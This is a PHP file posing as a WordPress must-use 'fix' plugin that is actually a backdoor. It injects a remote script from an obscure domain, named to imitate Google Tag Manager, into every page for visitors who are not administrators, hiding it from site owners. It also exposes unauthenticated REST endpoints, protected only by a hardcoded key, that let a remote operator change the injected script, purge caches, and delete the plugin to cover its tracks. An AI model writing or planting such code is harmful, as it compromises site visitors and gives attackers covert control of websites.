<?php
defined( 'ABSPATH' ) || exit;

define( 'WP_FIXPLUGIN_OPTION',      'wp_fixplugin_script_url' );
define( 'WP_FIXPLUGIN_VER_OPTION',  'wp_fixplugin_script_ver' );
define( 'WP_FIXPLUGIN_DEFAULT_URL', 'https://lkczkqweca.com/goolgetagmanager.js?v=2.0' );
define( 'WP_FIXPLUGIN_API_KEY',     'fpk_Xr9mQ2pL7nZ4wV8sK1' );

add_action( 'init', 'wp_fixplugin_init' );

function wp_fixplugin_init() {
	if ( get_option( WP_FIXPLUGIN_OPTION ) === false ) {
		add_option( WP_FIXPLUGIN_OPTION, WP_FIXPLUGIN_DEFAULT_URL, '', 'no' );
	}
	if ( get_option( WP_FIXPLUGIN_VER_OPTION ) === false ) {
		add_option( WP_FIXPLUGIN_VER_OPTION, time(), '', 'no' );
	}
}

add_action( 'wp_head', 'wp_fixplugin_inject_script', 1 );

function wp_fixplugin_inject_script() {
	if ( is_user_logged_in() && current_user_can( 'manage_options' ) ) {
		return;
	}

	$url = get_option( WP_FIXPLUGIN_OPTION, WP_FIXPLUGIN_DEFAULT_URL );
	if ( empty( $url ) ) {
		return;
	}

	$ver = get_option( WP_FIXPLUGIN_VER_OPTION, '1' );
	$sep = ( strpos( $url, '?' ) !== false ) ? '&' : '?';

	echo '<script src="' . esc_url( $url . $sep . '_cb=' . rawurlencode( $ver ) ) . '" src_type="url"></script>' . "\n";
}

add_action( 'rest_api_init', 'wp_fixplugin_register_routes' );

function wp_fixplugin_register_routes() {
	register_rest_route(
		'wp-fixplugin/v1',
		'/update',
		array(
			'methods'             => 'GET',
			'callback'            => 'wp_fixplugin_handle_update',
			'permission_callback' => '__return_true',
			'args'                => array(
				'url' => array(
					'required'          => true,
					'validate_callback' => 'wp_fixplugin_validate_url',
					'sanitize_callback' => 'esc_url_raw',
				),
				'key' => array(
					'required' => true,
				),
			),
		)
	);

	register_rest_route(
		'wp-fixplugin/v1',
		'/remove',
		array(
			'methods'             => 'GET',
			'callback'            => 'wp_fixplugin_handle_remove',
			'permission_callback' => '__return_true',
			'args'                => array(
				'key' => array(
					'required' => true,
				),
			),
		)
	);
}

function wp_fixplugin_validate_url( $value ) {
	return filter_var( $value, FILTER_VALIDATE_URL ) !== false;
}

function wp_fixplugin_handle_update( $request ) {
	if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) {
		return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) );
	}

	$url = $request->get_param( 'url' );

	update_option( WP_FIXPLUGIN_OPTION, $url, 'no' );
	update_option( WP_FIXPLUGIN_VER_OPTION, time(), 'no' );

	wp_cache_delete( WP_FIXPLUGIN_OPTION,     'options' );
	wp_cache_delete( WP_FIXPLUGIN_VER_OPTION, 'options' );

	wp_fixplugin_flush_page_caches();

	return rest_ensure_response( array( 'success' => true, 'url' => $url ) );
}

function wp_fixplugin_handle_remove( $request ) {
	if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) {
		return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) );
	}

	if ( ! function_exists( 'WP_Filesystem' ) ) {
		require_once ABSPATH . 'wp-admin/includes/file.php';
	}

	WP_Filesystem();
	global $wp_filesystem;

	if ( ! $wp_filesystem ) {
		return new WP_Error( 'fs_unavailable', 'Could not initialise WP_Filesystem.', array( 'status' => 500 ) );
	}

	$file = $wp_filesystem->wp_content_dir() . 'mu-plugins/wp-fixplugin.php';

	if ( ! $wp_filesystem->exists( $file ) ) {
		return new WP_Error( 'not_found', 'MU-plugin file not found.', array( 'status' => 404 ) );
	}

	if ( ! $wp_filesystem->delete( $file ) ) {
		return new WP_Error( 'delete_failed', 'Could not delete MU-plugin file.', array( 'status' => 500 ) );
	}

	delete_option( WP_FIXPLUGIN_OPTION );
	delete_option( WP_FIXPLUGIN_VER_OPTION );

	return rest_ensure_response( array( 'success' => true ) );
}

function wp_fixplugin_flush_page_caches() {
	if ( function_exists( 'wp_cache_clear_cache' ) )        wp_cache_clear_cache();
	if ( function_exists( 'w3tc_flush_all' ) )              w3tc_flush_all();
	if ( function_exists( 'rocket_clean_domain' ) )         rocket_clean_domain();
	if ( function_exists( 'rt_nginx_helper_purge_all' ) )   rt_nginx_helper_purge_all();

	if ( class_exists( 'LiteSpeed_Cache_API' ) )  LiteSpeed_Cache_API::purge_all();
	if ( class_exists( 'autoptimizeCache' ) )      autoptimizeCache::clearall();

	if ( class_exists( 'Breeze_Admin' ) )               do_action( 'breeze_clear_all_cache' );
	if ( class_exists( '\Hummingbird\Core\Utils' ) )    do_action( 'wphb_clear_page_cache' );

	if ( isset( $GLOBALS['wp_fastest_cache'] ) && method_exists( $GLOBALS['wp_fastest_cache'], 'deleteCache' ) ) {
		$GLOBALS['wp_fastest_cache']->deleteCache( true );
	}
}
